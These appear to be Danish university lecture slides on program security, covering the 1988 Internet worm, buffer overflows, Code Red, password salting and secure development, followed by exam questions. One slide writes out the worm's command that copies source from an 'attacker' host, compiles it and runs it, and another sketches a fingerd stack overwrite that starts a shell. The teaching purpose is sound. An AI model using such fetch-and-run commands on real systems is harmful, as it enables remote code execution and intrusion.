Kursusgang 4: Programsikkerhed. Forholdsregler mod fejl og ondsindede programmer. Internetormen 2. nov Sikreste kur mod orme & vira

Transkript

1 Kursusgang 4: Programsikkerhed. Forholdsregler mod fejl og ondsindede programmer. Internetormen og buffer-overflow. Code Red og software-patches. Stærke passwords og kryptering. Udvikling af sikker SW Repetition af stoffet indtil nu. Internetormen 2. nov Omfang: Første større sikkerhedshændelse i Internettets historie Vist ca. svarende til nyere hændelser som Code Red, Ninja m.fl. Skadevirkning indirekte: overload af maskiner og netværk pga. selv-kopiering ikke direkte skadelige handlinger som sletning af filer o.l. Udnyttede fire kendte svagheder til indtrængen (overførsel af brohoved) remote shell: tillid til andre maskiner finger: buffer overflow passwordfil: ordbogsangreb sendmail: en eller anden fjel Efter indtrængen af brohoved overførtes hovedprogram. Samt div. yderligere teknikker til at afværge modforholdsregler Orme vs. vira Sikreste kur mod orme & vira Orm: Selvstændigt ("stand alone") program Virus: Programfragment som hæfter sig på et andet program på en måde så kontrollen overgår til fragmentet når programmet startes. Både orme og vira skaber kopier af sig selv på værtsmaskinen eller andre maskiner og søger evt. at starte disse kopier og udfører evt. andre handlinger. Virus bruges også i bredere forstand som samlebetegnelse for vira, orme, m.m. Lad være med at forbinde til Internettet. Men dette er uacceptabelt i netværkssamfundet, både for den enkelte og for statslige og private virksomheder Virksomheder bruger Internettet som infrastruktur internt og eksternt internt: lokalt netværk en del af Internettet eksternt: fx. netbanking, EPJ Internettets åbne forbindelse af millioner af computere giver både risiko-potentialet anvendeligheden

2 Orme og vira Orme og vira er en form for indtrængen: afvikles på angrebet maskine fremmed person udvikler programmet udnytter sårbarhed på angrebet maskine til at få overført og startet programmet op denne Beskyttelse mod orme og vira scenarie: beskyttelse af maskiner/lokalnetværk (Pfleeger figur 1-6) anvendelige services: autentificering (som led i adgangskontrol) andre forudsætninger egne programmer må ikke starte fremmede programmer rsh: baggrund Internettet i 80erne værtsmaskinerne brugte Unix default-konfiguration tillod fjern udførelse af kommandoer via rsh rsh står for remote shell remote: en del af "r-familien" med rsh, rlogin og rcp shell betyder kommando-fortolker interaktiv shell: /bin/sh (Unix) eller command.com og cmd.exe (MS W) syntaks: rsh værtsmaskine kommando, hvor kommando fx. er: rcp swadmin@host1:swupdates swupdates; update backup(swupdates) rcp myname@myhost:1l.c 1l.c; cc -o 1l l1.c;./1l Mange Unix-maskiner var endda konfigureret således at enhver lokal bruger kunne give enhver bruger@maskine adgang

3 Men hvad må man så? Tilladt: fjerne brugere logger ind mod autentificering vilkårlige fjerne brugere udfører udvalgte programmer fjerne brugere udfører følsomme programmer mod autentificering Eksempler på begrænset adgang til programafvikling: Udvalgte metoder stilles til rådighed for fjernmetode-kald fx. baseret på RMI eller Corba Udvalgte programmer stilles til rådighed som del af web-service fx. via HTTPs CGI-grænseflade Data vs. program: Den fjerne bruger angiver data til udvalgte programmer (parametre) Vigtigt at OS og applikation opretholder distinktion data vs. program Programmer afvikles i processer Proces = Kørende program Operativsystemet skal muliggøre flere samtidige processer flere brugere flere applikationer afvikles af samme bruger nogle applikationer bruger flere processer Operativsystemet skal muliggøre at processer kan starte nye processer init login sh mail Procestræer 3 samtidige processer, efter at en bruger er logget på og har startet et mail-program processer startes af andre processer proceshierarki programafvikling i ny proces programafvikling ved overlejring Bruger-ID samme som faderprocessen login starter dog processer med nyt bruger ID init kan opfattes som operativsystemet, eller operativsystemets processkedulator

4 .. fingerd starter sh Operativsystemet adskiller adresserum for forskellige processer fingerd /bin/sh rcp 1l.c; cc -o 1l l1.c;./1l Data kan kun overføres mellem processer ved systemkald Bruger-proces (læse/skrive rettigheder i eget rum) Bruger-proces (læse/skrive rettigheder i eget rum) sh rcp cc l1 Kernen (læse/skriverettigheder overalt) Proces: adresserum + procestabelpost Stak indeholder returadresse til brug ved afslutning af procedurekald stak (procedurestak + miljøvariable) tekst (program) adr../bin/sh rcp rtm@attacker:1l.c 1l.c; cc -o 1l l1.c;./1l Returadresse stak data (alle simple og sammensatte objekter undtagen de som er lokale til procedurer) adr overskriver returadresse adr peger på kodestump: sh rcp.. (oversat til maskinkode) CALL tekst (fingerd's program) Procestabel pid uid filer.. tid Post: Procesdata i kerne... fingerd tjekker ikke længde af streng operativsystem har tilladt at strengen kopieres til adresse som bruges til program data

5 Internet-ormen: hvad kan vi lære? Operativsystemets konfiguration: Autentificering skal altid kræves undtagen til udførelse af udvalgte programmer tilbyd ikke rsh Programmer som tilbyder netværks-services: skal være udviklet med sikkerhed for øje må ikke indeholde (potentielt) buffer overflow tilbyd ikke finger Ordbogsangreb på password-fil skal tages alvorligt (jf. senere i dag) skjul passwordfil Kursusgang 4: Programsikkerhed. Forholdsregler mod fejl og ondsindede programmer. Internetormen og buffer-overflow. Code Red og software-patches. Stærke passwords og kryptering. Udvikling af sikker SW Repetition af stoffet indtil nu. Code Red 12. juli 2001 Angrebsmetode: Udnyttede kendt fejl i MS IIS MS havde udsendte patches som rettede denne o.a. fejl buffer overflow som gav angriber mulighed for at udføre vilkårlig kode med administrator rettigheder Effekt: Alle websider indeholdt teksten HELLO! Welcome to Hacked by Chinese! denial of service angreb bl.a. på spredning til andre maskiner skabelse af bagdør med administrator-rettigheder tre faser af aktivitet i hver måned

6 Pfleeger: Code red: software-opdateringer 47 patchhes til NT / IIS Gartner Group: Antallet af løbende ændringer til MS IIS er så stort, at omkostningen ved at vedligeholde MS ISS bliver uacceptabelt høj Brug af MS IIS frarådes indtil den skrives fundamentalt om Skift til Apache eller iplanet Kilde: Gartner Group 19. september Microsofts reaktion ".. as secure as comparable products from other vendors.. serious vulnerabilities have been found in all Web server products and platforms.. It is a folly to believe that if you switch from one product to another, you are protected.. Instead, the emphasis should be on ensuring safe security practices and making sure that all recommended patches are installed.." Kilde: ComputerWorld online 26. september Ansvar: Code red: andre perspektiver Værtsmaskiner på Internettet med lavt sikkerhedsniveau udgør en risiko for hele Internettet også for værtsmaskiner med højt sikkerhedsniveau Offentliggørelse: Sikkerhedsbrister bliver typisk offentliggjort som begrundelse for patch for at give kredit til de som har fundet fejlen omend normalt først når fejlen er rettet (eller ignoreret) Code Red udnyttede fejl som sikkerhedsfirmaet eeye havde fundet eeye har offentliggjort detaljeret analyse af Code Red MS Security Bulletin 18. juni 2001 ".. What s the scope of the vulnerability? This is a buffer overrun vulnerability. An attacker who successfully exploited this vulnerability could gain complete control over an affected web server. This would give the attacker the ability to take any desired action on the server... Default installations of Windows 2000 Server are vulnerable. IIS 5.0 installs by default as part of Windows 2000 server products, and Idq.dll is installed as part of the IIS 5.0 installation process.... What does the patch do? The patch eliminates the vulnerability by instituting proper input checking in the ISAPI extension... Acknowledgments: Microsoft thanks eeye Digital Security for reporting this issue to us and working with us to protect customers..." Kilde:

7 MS og offentliggørelse af sikkerhedsfejl "Microsoft is committed to protecting customers' information.. However, to do this we need the help of the people who discover security vulnerabilities. No vendor can develop security patches overnight.. Our patches must operate correctly on every single machine. This is a significant engineering challenge under any conditions, but it is even more difficult when details of a vulnerability have been made public before a patch can be developed..... there has traditionally been an unwritten rule among security professionals that the discoverer of a security vulnerability has an obligation to give the vendor an opportunity to correct the vulnerability before publicly disclosing it.. Once customers are protected, public discussion of the vulnerability is entirely in order, and helps the industry at large improve its products. Many security professionals follow these practices, and Microsoft wants to single them out for special thanks. The acknowledgment section of our security bulletins is intended to do this." Kursusgang 4: Programsikkerhed. Forholdsregler mod fejl og ondsindede programmer. Internetormen og buffer-overflow. Code Red og software-patches. Stærke passwords og kryptering. Udvikling af sikker SW Repetition af stoffet indtil nu. Kilde: Stærke passwords og kryptering Passwordfil Internet-ormen benyttede det kendte ordbogsangreb: Gæt at password er ord som forekommer i ordbog Autentificering med passwords bør bl.a. baseres på: at passwords gemmes i krypteret form at brugeren vælger stærke passwords Morris & Thomsens artikel gennemgår historisk udvikling af password-baseret autentificering som underbygger ovenstående principper flere andre gode principper: saltning, iteration Autentificering bl.a. på flerbrugermaskiner baseret på brugernavn + password Det rigtige passwords skal gemmes, for at muliggøre sammenligning med det password brugeren opgiver ved autentificering Mange Unix-systemer gemmer brugernavn + (krypteret) password i /etc/passwd Kryptering af password overflødiggør (eller mindsker) behovet for at hemmeligholde passwordfilen uden kryptering er passwords tilgængelige mindst for administrator og folk med adgang til backup-filer

8 Kryptering af password Ordbogsangreb 0 E brugernavn E vovse (0) 0 E brugernavn E vovse (0) Kryptering af konstant (0) med nøgle (vovse) vovse er passwordet Hvilke krav stilles til krypteringsalgoritmen? vovse passwordfil Vælg ord fra ordbog? Sammenlign med krypteret password Da sammenligning er hurtig er det fordelagtigt at sammenligne med alle krypterede passwords i passwordfilen. Saltning umuliggør "multimatch" af password-gæt Iteration: nøglesøgning mere tidskrævende 0 E brugernavn salt E vovse,salt (0) 0 EEE brugernavn salt E n vovse,salt (0) nøglegen. nøglegen. salt vovse Når brugeren definerer password, genererer tilfældigt tal (salt), som bruges i generering af nøgle salt vovse Iterativ kryptering: ciffertekst fra i'te runde bruges som klartest til (i+1)'te runde Saltet gemmes (ukrypteret) sammen med password Kryptering tager n gange så lang tid umærkeligt for bruger generende for cracker

9 Sammenligning: kryptering af privat nøgle (signaturfil) Kursusgang 4: Programsikkerhed. Forholdsregler mod fejl og ondsindede programmer. Privat nøgle Symm. Symm. Symm. krypt. krypt. krypt. Krypteret privat nøgle Internetormen og buffer-overflow. Code Red og software-patches. Salt Symm. nøgle nøglegen. Password Lighedspunkter: salt iteration Forskelle klartekst = hemmelig nøgle standardisering aht. applikationer Stærke passwords og kryptering. Udvikling af sikker SW Repetition af stoffet indtil nu. Pfleegers bud på udvikling af sikker software Kritikpunkt #1 Struktureret programmering Reviews Risikoanalyse Test Design og fejlhåndtering Tendens til at Pfleeger blot beskriver en traditionel vandfaldsmodel for livscyklus af software test som separat fase efter implementation konfigurationsstyring (change management) med et "change control board" som skal godkende al software Savner diskussion af om vandfaldsmodel (fremfor iterativ udvikling) har særlig berettigelse hvis man prioriterer sikkerhed Konfigurationsstyring

10 Kritikpunkt #2 Kritikpunkt #3 Savner diskussion af hvad der særligt kan gøres for sikkerhed i vandfaldsmodellens faser Design-fasen argumentet synes at være: modularitet er godt for kvalitet i almindelighed, derfor også godt for sikkerhed i særdeleshed særligt sikkerhedsrelevant: at indkapsle delsystemer med højt rettighedsniveau (?) Analyse/specifikationsfasen: Vigtigt at afklare og eksplicitere sikkerhedsmål fx. hvilke oplysninger skal hemmeligholdes Savner diskussion af open source software WWWs vigtigste program er formentlig webserveren Open source webserver Apache benyttes på > 50% alvorlige sikkerhedsfejl få og uden større faktiske konsekvenser Fordel ved open source: potentiale for uafhængigt review identifikation af utilsigtede fejl og indbyggede svagheder fx. tilbage-rapportering til softwareleverandør ikke incitament til "featuritis" og forceret lancering af nye versioner Ulemper ved open source: Manglende indtægtsgrundlag til at finansiere betalt review Manglende indtægtsgrundlag til at finansiere udvikling / features Modstander kan lettere finde svagheder ved at læse kildeteksten Jeg er mest enig i: #1: Høj prioritet til test og review #2: Lav prioritet til formelle metoder #3: "no technique is sure to prevent erroneous software" Kursusgang 4: Programsikkerhed. Forholdsregler mod fejl og ondsindede programmer. Internetormen og buffer-overflow. Code Red og software-patches. Stærke passwords og kryptering. Udvikling af sikker SW Repetition af stoffet indtil nu

11 Eksamensspørgsmål 1. Gør rede for principperne i DES og fordele og ulemper ved DES. 2. Gør rede for fællestræk og forskelle mellem symmetrisk og asymmetrisk kryptering. 3. Skitser principperne i Rijndael og gør rede for fordele og ulemper ved algoritmen. 4. Skitser principperne i RSA og gør rede for fordele og ulemper ved algoritmen. 5. Gør rede for hvorledes kryptering kan bruges til besked-autentificering. (Dvs. message authentication; der tænkes ikke offentlig nøgle-infrastruktur med certifikater m.m.). 6. Gør rede for principperne i offentlig nøgle-infrastruktur. 7. Gør rede for OCES-standarden. 8. Diskuter forebyggelse af sikkerhedsbrud fx. i form af ormeangreb.